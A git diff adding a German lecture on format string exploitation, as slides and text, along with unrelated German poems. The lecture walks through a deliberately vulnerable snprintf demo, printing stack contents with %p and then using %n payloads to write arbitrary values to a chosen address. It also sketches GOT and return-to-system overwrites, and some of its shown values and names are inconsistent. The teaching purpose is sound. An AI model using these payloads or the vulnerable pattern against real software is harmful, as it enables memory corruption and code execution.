+++ b/stories/poetry/MeinVortrag/05.html
@@ -0,0 +1,27 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="04.html">&lt;-</A><A HREF="06.html">-></A>
3int printing( const char *fmt, ...) {
4 va_list ap;
5 char output[1024];
6
7 va_start(ap, fmt);
8
9 while( *fmt ) {
10 if( *fmt != '%' ) {
11 putc( *fmt++ );
12 } else { /* Parameter substituieren */
13 switch( *++fmt ) {
14 case 'd':
15 int a = va_arg( ap, int );
16 /* Zahl a ausgeben */
17 break;
18 case 's':
19 char *s = va_arg( ap, char *);
20 /* String ausgeben */
21 ....
22 }
23 }
24
25 va_end(ap);
26}
27</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/06.html b/stories/poetry/MeinVortrag/06.html
new file mode 100644
index 0000000..1c3fe8d
--- /dev/null
+++ b/stories/poetry/MeinVortrag/06.html
@@ -0,0 +1,8 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="05.html">&lt;-</A><A HREF="07.html">-></A>
3#define va_start(ap, var) ((ap) = (va_list)&var)
4
5#define va_arg(ap, type) *(((type *)ap)++)
6
7#define va_end(ap)
8</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/07.html b/stories/poetry/MeinVortrag/07.html
new file mode 100644
index 0000000..6a4c25e
--- /dev/null
+++ b/stories/poetry/MeinVortrag/07.html
@@ -0,0 +1,14 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="06.html">&lt;-</A><A HREF="08.html">-></A>
3int main( ) {
4 int a = 0x23232323;
5
6 printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n");
7 return 0;
8}
9
10Liefert einen output von:
11
120x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0
130x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
14</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/08.html b/stories/poetry/MeinVortrag/08.html
new file mode 100644
index 0000000..35fc0e7
--- /dev/null
+++ b/stories/poetry/MeinVortrag/08.html
@@ -0,0 +1,16 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="07.html">&lt;-</A><A HREF="09.html">-></A>
3int main( ) {
4 int a;
5
6 printf ( "Ich bin 23 Zeichen lang%n\n", &a);
7 printf ( "Und printf hat's gezaehlt: %d", a);
8
9 return 0;
10}
11
12Liefert als Ausgabe:
13
14Ich bin 23 Zeichen lang
15Und printf hat's gezaehlt: 23
16</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/09.html b/stories/poetry/MeinVortrag/09.html
new file mode 100644
index 0000000..53922cd
--- /dev/null
+++ b/stories/poetry/MeinVortrag/09.html
@@ -0,0 +1,13 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="08.html">&lt;-</A><A HREF="10.html">-></A>
3in BASIC:
4
5 A = "Hallo"
6 PRINT A
7
8in C:
9
10 char *a = "Hallo";
11 printf( a );
12
13</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/10.html b/stories/poetry/MeinVortrag/10.html
new file mode 100644
index 0000000..d336ae5
--- /dev/null
+++ b/stories/poetry/MeinVortrag/10.html
@@ -0,0 +1,10 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="09.html">&lt;-</A><A HREF="11.html">-></A>
3int main( int argc, char **argv ) {
4 char buffer[ 256 ];
5
6 snprintf( buffer, sizeof buffer, argv[1] );
7
8 return 0;
9}
10</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/11.html b/stories/poetry/MeinVortrag/11.html
new file mode 100644
index 0000000..72c2ba5
--- /dev/null
+++ b/stories/poetry/MeinVortrag/11.html
@@ -0,0 +1,18 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="10.html">&lt;-</A><A HREF="12.html">-></A>
3int main( int argc, char **argv ) {
4 char buffer[ 256 ];
5
6/* !!!FALSCH!!! */
7#if 0
8 snprintf( buffer, sizeof buffer, argv[1] );
9#endif
10
11/* !!!RICHTIG!!! */
12#if 1
13 snprintf( buffer, sizeof buffer, "%s", argv[1] );
14#endif
15
16 return 0;
17}
18</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/12.html b/stories/poetry/MeinVortrag/12.html
new file mode 100644
index 0000000..7c87622
--- /dev/null
+++ b/stories/poetry/MeinVortrag/12.html
@@ -0,0 +1,17 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="11.html">&lt;-</A><A HREF="13.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/13.html b/stories/poetry/MeinVortrag/13.html
new file mode 100644
index 0000000..6137794
--- /dev/null
+++ b/stories/poetry/MeinVortrag/13.html
@@ -0,0 +1,24 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="12.html">&lt;-</A><A HREF="14.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln Probierung
19test auf: 0xbfbff6d4
20test enthaelt: 0x23232323
21
22Probierung
23test enthaelt: 0x23232323
24</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/14.html b/stories/poetry/MeinVortrag/14.html
new file mode 100644
index 0000000..63acc3e
--- /dev/null
+++ b/stories/poetry/MeinVortrag/14.html
@@ -0,0 +1,25 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="13.html">&lt;-</A><A HREF="15.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
19test auf: 0xbfbff6c0
20test enthaelt: 0x23232323
21
22AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04
230x2805a3a8 0x41414141 0x62317830 0x64356666
24test enthaelt: 0x23232323
25</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/15.html b/stories/poetry/MeinVortrag/15.html
new file mode 100644
index 0000000..e132623
--- /dev/null
+++ b/stories/poetry/MeinVortrag/15.html
@@ -0,0 +1,23 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="14.html">&lt;-</A><A HREF="16.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln "AAAA%p %p %p %p %p %p%n %p %p"
19test auf: 0xbfbff6c0
20test enthaelt: 0x23232323
21
22Segmentation fault (core dumped)
23</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/16.html b/stories/poetry/MeinVortrag/16.html
new file mode 100644
index 0000000..0644083
--- /dev/null
+++ b/stories/poetry/MeinVortrag/16.html
@@ -0,0 +1,25 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="15.html">&lt;-</A><A HREF="17.html">-></A>
3int main( int argc, char **argv ) {
4 int test = 0x23232323;
5 char buffer[ 256 ];
6
7 printf( "test auf: %p\n", &test );
8 printf( "test enthaelt: %x\n\n", test);
9
10 snprintf( buffer, sizeof buffer, argv[1] );
11
12 printf( "%s\n", buffer);
13 printf( "test enthaelt: %x\n\n", test);
14
15 return 0;
16}
17
18# ./vuln "%p %p %p %p %p %p%n %p %p"
19test auf: 0xbfbff6c0
20test enthaelt: 0x2323232323
21
220x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
230x68acf04 0x2805a3a8 0x62317830 0x64356666
24test enthaelt: 0x42
25</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/17.html b/stories/poetry/MeinVortrag/17.html
new file mode 100644
index 0000000..6a32312
--- /dev/null
+++ b/stories/poetry/MeinVortrag/17.html
@@ -0,0 +1,26 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="16.html">&lt;-</A><A HREF="18.html">-></A>
3# ./vuln "%p %p %p %p %p %p%n %p %p"
4test auf: 0xbfbff6c0
5test enthaelt: 0x2323232323
6
70x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
80x68acf04 0x2805a3a8 0x62317830 0x64356666
9test enthaelt: 0x42
10=======================================================
11# ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p "
12
13test auf: 0xbfbff6c0
14test enthaelt: 0x23232323
15
160x1bff5d80xbfbff61c0x2804d7990x80483370x68acf04\
170x2805a3a80x623178300x64356666
18test enthaelt: 0x3D
19=======================================================
20# ./vuln "%8p%8p%8p%8p%111638553p%999999999p%n "
21test auf: 0xbfbff6b0
22test enthaelt: 0x23232323
23
240x1bff5c80xbfbff60c0x2804d7990x8048337
25test enthaelt: 0x42424242
26</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/18.html b/stories/poetry/MeinVortrag/18.html
new file mode 100644
index 0000000..4c50a98
--- /dev/null
+++ b/stories/poetry/MeinVortrag/18.html
@@ -0,0 +1,20 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="17.html">&lt;-</A><A HREF="19.html">-></A>
3
4
5
6
7
8
9
10
11
12"/../../../../../../../../../bin/sh"
13
14
15
16
17
18
19
20</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/19.html b/stories/poetry/MeinVortrag/19.html
new file mode 100644
index 0000000..3261117
--- /dev/null
+++ b/stories/poetry/MeinVortrag/19.html
@@ -0,0 +1,14 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="1.html">&lt;-</A><A HREF="1.html">-></A>
3
4
5
6
7That's all folks...
8
9links:
10
11http://community.core-sdi.com/~juliano/
12http://www.phrack.org/show.php?p=49&a=14
13
14</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings
new file mode 100644
index 0000000..7d6b591
--- /dev/null
+++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings
@@ -0,0 +1,367 @@
1Format String Exploits:
2
3Heisst grundsaetzlich, die Eigenschaft der
4f/s(n)printf/scanf - Funktionsfamilie
5auszunutzen, dass sie eine va_args-liste
6zum Uebergeben der Parameter und einen
7String zum Beschreiben der Anzahl und Art
8der Parameter benutzt.
9
10syntax:
11
12 printf( char *format, param1, param2, ... )
13
14Wenn man einen C-Kurs mitmacht, wird einem
15vermittelt, dass man in den Formatstring
16eintragen soll, welche Paramater die printf
17Funktion bekommen wird und wenn es
18Inkonsistenzen zwischen dem Formatstring und
19den Paramtern gibt, stuerzt das Programm ab.
20Und genau an der Stelle beginnt der spannende
21Part: wenn ein Programm abstuerzt,
22wurde sicher Speicher der Applikation ueber-
23schrieben und Ziel des Spiels ist es nun, zu
24versuchen, gezielt Speicher mit uns geneigten
25Werten zu ueberschreiben. Und unter uns: sooo
26schnell schiesst man ein Programm nicht ab :)
27Also schauen wir uns mal einen validen Aufruf
28der Funktion an:
29
30int main( ) {
31 int a, b;
32 a = 7;
33 b = 9;
34
35 printf( "%d %d\n", a, b );
36 return 0;
37}
38
39In optimiertem Assembler sieht das so aus:
40
41.LC0:
42 .string "%d %d\n"
43main:
44 [ ... ]
45 pushl $9
46 pushl $7
47 pushl $.LC0
48 call printf
49 [ ... ]
50
51Dort steht, dass erst b und a auf den Stack
52geschoben werden, danach die Adresse des
53Formatstrings und schliesslich printf aufgerufen
54wird.
55
56In C ist es generell nicht der Fall, dass
57Funktionen ueber die Parameter informiert werden,
58die sie auf dem Stack erhalten, das geben sie
59naemlich beim Compilen an und erwarten dann auf
60dem Stack auch genau diese Parameter vorzufinden.
61
62Einzige Ausnahme bildet ein Konstrukt namens
63va. Das bedeutet "Varibale Argumentenliste". Die
64Funktion printf arbeitet dann auch wie folgt:
65
66int printing( const char *fmt, ...) {
67 va_list ap;
68 char output[1024];
69
70 va_start(ap, fmt);
71
72 while( *fmt ) {
73 if( *fmt != '%' ) {
74 putc( *fmt++ );
75 } else { /* Parameter substituieren */
76 switch( *++fmt ) {
77 case 'd':
78 int a = va_arg( ap, int );
79 /* Zahl a ausgeben */
80 break;
81 case 's':
82 char *s = va_arg( ap, char *);
83 /* String ausgeben */
84 ....
85 }
86 }
87
88 va_end(ap);
89}
90
91Hinter der ganzen vargs Magie verbergen sich aber
92nur diese drei (jetzt mal von mir leicht
93vereinfachten) Makros:
94
95#define va_start(ap, var) ((ap) = (va_list)&var)
96
97#define va_arg(ap, type) *(((type *)ap++))
98
99#define va_end(ap)
100
101In Wirklichkeit wird da noch ein wenig am Alignment
102der Variablen geschraubt, aber im Groben stellt dies
103schon dar, wie variable Argumentlisten behandelt
104werden: printf holt einfach vom Stack ab, egal, ob da
105was drauf steht, oder nicht.
106
107Was drauf stehen tut aber immer, naemlich Ruecksprung-
108adressen und der Stack der aufrufenden Funktionen.
109Und das koennen wir uns mal angucken:
110
111int main( ) {
112 int a = 0x23232323;
113
114 printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n");
115 return 0;
116}
117Liefert einen output von:
118
1190x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
120
121Und gugge da: wir erkennen doch da glatt unser
122nicht ganz zufaellig gewaehltes a wieder.
123
124%p ist der Bezeichner fuer einen ganz normalen
125pointer, also 4 bytes, die vom Stack geholt
126und in der 0xn Notation angezeigt werden.
127
128Aber printf kann mehr:
129
130int a;
131
132printf ( "Ich bin 23 Zeichen lang%n\n", &a);
133printf ( "Und printf hat's gezaehlt: %d", a);
134
135Liefert als Ausgabe:
136
137Ich bin 23 Zeichen lang
138Und printf hat's gezaehlt: 23
139
140Was ist passiert? Printf erwartet bei einem %n, dass
141auf dem Stack der Zeiger auf ein int liegt, in das
142er die Anzahl der in diesem Funktionsaufruf
143ausgegebnen Zeichen schreibt. Nicht auszumalen, was
144passiert, wenn auf dem Stack gar keine solide Adresse
145liegt :)
146
147Printf bietet uns also einen ganz soliden Weg, den
148Stack zu inspizieren und aktiv Speicher zu veraendern.
149Bliebe die Frage, warum sollte uns ein Programm den
150Weg ebnen, den Formatstring selbst zu waehlen. Da gibt
151es zwei Erklaerungen:
1521. bieten einige Programme fuer formatierte Textausgabe
153 dem Benutzer an, selber Formatstrings anzugeben.
154 Dies ist aber nicht so spannend, da der String
155 meist sehr genau geprueft wird, allerdings gibt es
156 einen exploit fuer den Mail-Reader mutt, der genau
157 ueber einen solchen Formatierungsstring anfaellig
158 war
1592. Ist es dem printf egal, ob man ihm nun wirklich einen
160 Zeiger auf den Formatstring gegeben hat, oder den
161 Zeiger auf IRGENDEINEN String, der ausgegeben werden
162 soll. Typischer BASIC Programmierstil ist:
163
164 A = "Hallo"
165 PRINT A
166
167 in C:
168
169 char *a = "Hallo";
170 printf( a );
171
172 funktioniert auch hervorragend, solange der String
173 a keine printf - control characters, naemlich "%"'s
174 enthaelt.
175
176Genug der Theorie, in der Praxis sieht sowas dann ganz
177schlicht so aus:
178
179int main( int argc, char **argv ) {
180 char buffer[ 256 ];
181
182 snprintf( buffer, sizeof buffer, argv[1] );
183
184 return 0;
185}
186
187Man beachte, dass der Programmierer sich grosse Muehe
188gegeben hat, buffer-overflows zu vermeiden, indem er
189sichere Variante von sprintf, das snprintf benutzt hat,
190damit auch wirklich maximal 32 bytes in den Buffer
191gelangen. Allerdings hat er beim String, der geschrieben
192werden soll, geschlampt: die Zeile muesste richtig lauten
193
194 snprintf( buffer, sizeof buffer, "%s", argv[1] );
195
196Nun, was tut dieses Funktion? Schreibt in den Buffer mit
197maximal 32 Zeichen den String argv[1], also das erste
198Kommandozeilenargument der Funktion. Aber tut es das auch
199wirklich? Nur, wie gesagt, solange im String keine '%'
200stehen, aber solche Zeichen in die Kommandozeile einzu-
201tippern kriegen wir doch noch hin :)
202
203Es gibt noch das kleine Problem, dass der Printf halt in
204einen Buffer und nicht auf den Screen schreibt, das laesst
205sich aber leicht loesen, indem wir entweder einen Debugger
206benutzen, um den Inhalt des Buffers auszulesen, oder ein-
207fach wieder printf dafuer benutzen, sieht dann so aus:
208
209int main( int argc, char **argv ) {
210 int test = 0x23232323;
211 char buffer[ 256 ];
212
213 printf( "test auf: %p\n", &test );
214 printf( "test enthaelt: %x\n\n", test);
215
216 snprintf( buffer, sizeof buffer, argv[1] );
217
218 printf( "%s\n", buffer);
219 printf( "test enthaelt: %x\n\n", test);
220
221 return 0;
222}
223
224Ich habe nun noch eine Variable eingefuegt, an der wir
225ein wenig rumspielen wollen: Dessen Adresse wuerde man
226wieder mit einem debugger herausfinden, hier benutz ich
227printf, auch den aktuellen Wert geb ich einmal vor und
228einmal nach der "Attacke" aus.
229Das compilete Programm wirft mir folgendes raus:
230
231# ./vuln Probierung
232test auf: 0xbfbff6d4
233test enthaelt: 0x23232323
234
235Probierung
236test enthaelt: 0x23232323
237
238Nuescht besonderes. Probieren wir nun mal ein bisschen
239mit den Formatstrings rum:
240
241# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
242test auf: 0xbfbff6c0
243test enthaelt: 0x23232323
244
245AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666
246test enthaelt: 0x23232323
247
248Als erstes sehen wir, dass sich die Adressse von test
249(das sich ja im Stack befindet) variiert. Das liegt
250daran, dass die Kommandozeilenparameter im Stack abgelegt
251werden. Wir koennen aber mit Anfuerungszeichen und vielen
252Spaces ueber die gesamte Testphase fuer einen konstanten
253offset sorgen.
254Zweitens liegt, wie eben erwaehnt, auch der Format-String
255nocheinmal im Stack weiter oben rum, die 0x41414141 sind
256unsere AAAA in der Kommandozeile.
257
258Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin
259entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer
260weniger und tun dafuer ein %n hin:
261
262# ./test "AAAA%p %p %p %p %p %p%n %p %p"
263test auf: 0xbfbff6c0
264test enthaelt: 0x23232323
265
266Segmentation fault (core dumped)
267
268Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt
269nicht mit den Formatstrings rum. Aber was genau hab ich jetzt
270kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n
271vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau
272bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als
273naechstes 0x41414141. Und dieser Wert wird ja nun bei einem
274%n als Adresse einer int interpretiert, an die der aktuelle
275Character-Count geschrieben werden soll. Und an 0x41414141
276befindet sich kein lesbarer Speicher. Also kein Geheimnis.
277Aber wer jetzt einen Exploit entdeckt hat, soll sich mal
278melden. Genau... die 0x41414141 kommt ja direkt aus unserem
279Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege
280da jetzt naeher, dort mal eine valide Adresse hinzuschreiben?
281Wir haetten da sogar noch eine ueber:
2820xbfbff6c0
283Da liegt naemlich die Variable test und es ist sogar eine int.
284Als String sieht die Adresse so aus:
285Ungewoehnlich, aber wat solls, solange kein % und kein \000
286dabei ist, soll uns das nicht stoeren :)
287Wir probieren das einfach mal aus:
288
289# ./vuln "%p %p %p %p %p %p%n %p %p"
290test auf: 0xbfbff6c0
291test enthaelt: 0x2323232323
292
2930x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666
294test enthaelt: 0x42
295
296An der Stelle, wo da zwei Leerzeichen hintereinander sind,
297wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt
2980x42.
299
300Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum
301Doppelleerzeichen 66 ausgegebene Characters.
302
303Wir haben es also geschafft, an eine beliebige Adresse einen
304leider noch einigermassen zufaelligen Wert zu schreiben, das
305soll sich jetzt aendern. Was wir brauchen, ist eine wohl-
306bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden.
307Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen,
308damit wir mit ihnen rechnen koennen. Dat jeht so:
309
310# ./vuln "%8p%8p%8p%8p%8p%8p%n%p%p "
311test auf: 0xbfbff6c0
312test enthaelt: 0x23232323
313
3140x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666
315test enthaelt: 0x3D
316
317und mit der letzten koennen wir noch ein wenig spielen:
318
319./test "%8p%8p%8p%8p%111638553p%999999999p%n "
320test auf: 0xbfbff6b0
321test enthaelt: 0x23232323
322
3230x1bff5c80xbfbff60c0x2804d7990x8048337
324test enthaelt: 0x42424242
325
326Ich musste fuer die grossen Zahlen leider noch ein wenig an der
327Adresse von test rumspielen, aber im Prinzip ist zu erkennen,
328dass ich an jede Adresse jeden Wert schreiben kann. Was habe
329ich getan? Man kann fuer Zahlenkonvertierungen in printf eine
330width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt
331wird, wenn die Zahl nicht breit genug wird. Und das koennen nu
332auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man
333auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn
334man mal eine valide Adresse wohin schreiben will. Und netterweise
335liefert printf nun auch nicht die Zahl der geschriebenen Zeichen,
336sondern die der "theoretisch" geschriebenen in %n zurueck, was
337dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen...
338
339Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen,
340man uebergibt diesen einfach mit im Formatstring und kann die
341Einsprungadresse punktgenau auf den Stack werfen. Waere aber
342eigentlich eine Schande, denn Formatstringexploits sind so fili-
343gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen
344return adressen eigentlich nur raten.
345
346Viel eleganter ist es, die GOT des binaries zu veraendern.
347Dies ist die global object table, und dort hinein kommen fuer
348alle Funktionen, die aus Libraries eingebunden werden, die
349Adressen. Der Vorteil ist, dass bei fast allen Standard-
350anwendungen die GOT ungefaehr gleich aussieht. Wenn man die
351Adresse des fopen-calls einfach mit der des system-calls ueber-
352schreibt, koennte man einen Teil des formatstrings glatt von
353einer Shell interpretieren lassen.
354
355Dies ist insoweit im Moment spannend, da ernsthaft damit ange-
356fangen wird, den Stack non-executable zu mappen und damit buffer
357overflows und darin befindlicher Shellcode zu verhindern.
358
359Dies liesse noch Spielraum fuer eine weitere Option, naemlich
360die Ruecksprungadresse der printf-aufrufenden Funktion zu
361ueberschreiben und zwar mit der Einsprungadresse von system,
362wenn man davor eine Adresse irgendwo im eigenen Formatstring
363hinpackt, kann man den Formatstring wie folgt gestalten:
364
365"/../../../../../../../../../bin/sh"
366
367die ../'s sind naemlich eigentlich auch NOPs.
diff --git a/stories/poetry/MeinVortrag/templ.html b/stories/poetry/MeinVortrag/templ.html
new file mode 100644
index 0000000..4592390
--- /dev/null
+++ b/stories/poetry/MeinVortrag/templ.html
@@ -0,0 +1,7 @@
1<HTML><HEAD></HEAD><BODY><H1><PRE>
2<A HREF="1.html">&lt;-</A><A HREF="1.html">-></A>
3
4
5
6
7</PRE></H1></BODY></HTML>
diff --git a/stories/poetry/SeinSohn.md b/stories/poetry/SeinSohn.md
new file mode 100644
index 0000000..4551cba
--- /dev/null
+++ b/stories/poetry/SeinSohn.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Sein Sohn
3.. date: 2004/09/01
4.. tags: poetry
5-->
6
7"Ach weißt du, mein Junge, damals war alles ein wenig komplizierter, als heute. Da gab es einen König, der war groß und mächtig, und das nur, weil er behauptete, alle Menschen mit großen Ohren seien dümmer und generell schlechter,als die mit kleinen Ohren und das gefiel den Menschen mit kleinen Ohren natürlich und es wurden Experimente gemacht und alle Menschen mit großen Ohren sollten das Königreich verlassen und alle, die es trotz großer Ohren nicht verlassen wollten, wurden eingesperrt, damit kein Kleinohriger mehr den anstößigen Anblick großer Ohren ertragen mußte.
8
9Da es dem König aus dem Nachbarreich egal war, welche Ohren die Menschen hatten und sich die beiden Könige noch nie leiden konnten, begann ein Krieg zwischen den Königreichen.
10
11Da begab es sich eines Tages, daß eine Frau mit ihrem Sohn beim Hofe des Königs Einlass begehrte, verlangte den König zu sprechen, ihre Kapuze lüftete, welche den Blick auf besonders große Ohren freigab, und die empörte Verdutztheit über frei herumlaufende Großohren ausnutzte, sich an der Torwache vorbeizudrängeln.
12
13Im Hofstaat angekommen, behauptete sie, daß ihr Sohn vom König sei und daß sie das auch beweisen könne und nachdem sie es bewies und da das bedeutete, daß der König gelogen und Großohrige nicht immer verachtet hatte und somit seine Macht verloren hätte, wurde beschlossen, die Frau nicht vorzulassen und niemandem weiter von der Sache zu erzählen und sie und ihr Sohn verschwanden im Kriegsgetümmel."
14
15"Und, Opa... wenn niemand weiter davon gewußt hat ... dann warst du also dieser Junge?"
16
17"Nein - ich habe ihn erschlagen."
diff --git a/stories/poetry/Unreal.md b/stories/poetry/Unreal.md
new file mode 100644
index 0000000..6780d3f
--- /dev/null
+++ b/stories/poetry/Unreal.md
@@ -0,0 +1,27 @@
1<!--
2.. title: Unreal
3.. date: 2005/07/01
4.. tags: poetry
5-->
6
7Unreal ist er, der Gedanke,<br/>
8der uns beide verbindet.<br/>
9Teils laengst gestorben<br/>
10und beerdigt<br/>
11und fleissig mit Traenen<br/>
12und Giesskannen begossen<br/>
13und mit Bluemchen<br/>
14und Straeuchern bepflanzt<br/>
15und wiederherbeigefleht<br/>
16und doch gefuerchtet<br/>
17und verwunschen<br/>
18und vielleicht rastloser<br/>
19und unheiliger Geist nur<br/>
20und fluechtend aus kaltem<br/>
21und nassem Grabe<br/>
22und auf der Jagd, mich<br/>
23und dich ungluecklich<br/>
24und allein zu sehen.<br/>
25Teils immer noch da<br/>
26und tausenfach um uns herum<br/>
27und nur nicht fuer mich.
diff --git a/stories/poetry/aussage1.md b/stories/poetry/aussage1.md
new file mode 100644
index 0000000..0361cbf
--- /dev/null
+++ b/stories/poetry/aussage1.md
@@ -0,0 +1,7 @@
1<!--
2.. title: Aussage 1
3.. date: 2000/12/01
4.. tags: poetry
5-->
6
7Geht nicht, mein ich. Man kann nicht schreiben, was keiner wissen will. Und wenn ich dir wirklich soviel bedeute, kann es besser sein, daß wir uns sofort voneinander trennen ohne, daß du merkst, was ich eigentlich wirklich von dir will. Bedenke: bei allem, was immer ich auch von mir gebe, du wirst nie daß, was ich gerade denke und fühle, in Erfahrung bringen. Denke nicht, daß du jetzt weißt, was ich sagen will, ich weiß es selber nicht. Warum auch? Aus der bloßen Tatsache, daß wer was schreibt, schließe nicht, daß ich auch irgendwas zu sagen habe. Und laß dich bloß nicht von mir belehren, wie du mit dem umzugehen hast, was ich dir eh vorenthalte. Denn nichts ist, wie es scheint und Floskeln machen Texte länger, erhöhen aber den Aussagegehalt genau so wenig, wie rhetorische Anfragen an dich, nicht wahr. Du meinst, alles, was du bis jetzt lesen konntest, läßt dich ein Bild von mir bilden, was, wenn jetzt etwas ganz Unerwartetes kommt? Scheiße. Trennst du Müll, bringt es was? Wählst du etwa? Interessierst dich Politik? Hast du Ahnung von Vögeln? Und magst du platte oder schlüpfrige Doppeldeutigkeiten? Paßt es dir, daß ich dich duze? Mußt das ja nicht lesen. War sicherlich eh nicht für dich geschrieben, also reg dich nicht auf und lies brav weiter, sei doch aber nicht so passiv und erwarte vor allem nicht, daß ich dir sage, was du zu tun hast, glaube mir aber alles, was du sagst. Wartest du auf Wahrheiten? Das Orakel ist müde und Poesie ist nur etwas für Ausgeschlafene. Können wir nicht einfach gute Freunde sein und alles brüderlich teilen? Bloß nicht mein Wissen, aber wahr ist doch eh nur, was du auch wahr haben willst, warum gehst du nicht und machst dir deine eigenen Gedanken. 9 mal 2 ist 12. Wenn wir doch nur die selbe Basis hätten. Und steckt nicht in jeder Lüge ein Körnchen Wahrheit und wurzelt nicht jeglicher Fortschritt in der Unwahrheit, gehen dir meine Assoziationen zu weit? Und ist all mein Schaffen nicht Teil einer gigantischen Verschwörung von der du ob ihrer Komplexität bisher nichts ahntest, oder soll ich dafür wieder das Bild des Hamsters in seinem fortschrittsbehindernden Umfeld bemühen. Ich erfülle meine Voraussagung aber will mich nicht selber zitieren, schau selbst, was ich meinen könnte, vielleicht denkst du ja jetzt doch schon, wie ich, mag sein, du wolltest es gar nicht. Man hätte aber mal darüber nachdenken können.
diff --git a/stories/poetry/aussage2.md b/stories/poetry/aussage2.md
new file mode 100644
index 0000000..8c48ee7
--- /dev/null
+++ b/stories/poetry/aussage2.md
@@ -0,0 +1,7 @@
1<!--
2.. title: Aussage 2
3.. date: 2000/12/02
4.. tags: poetry
5-->
6
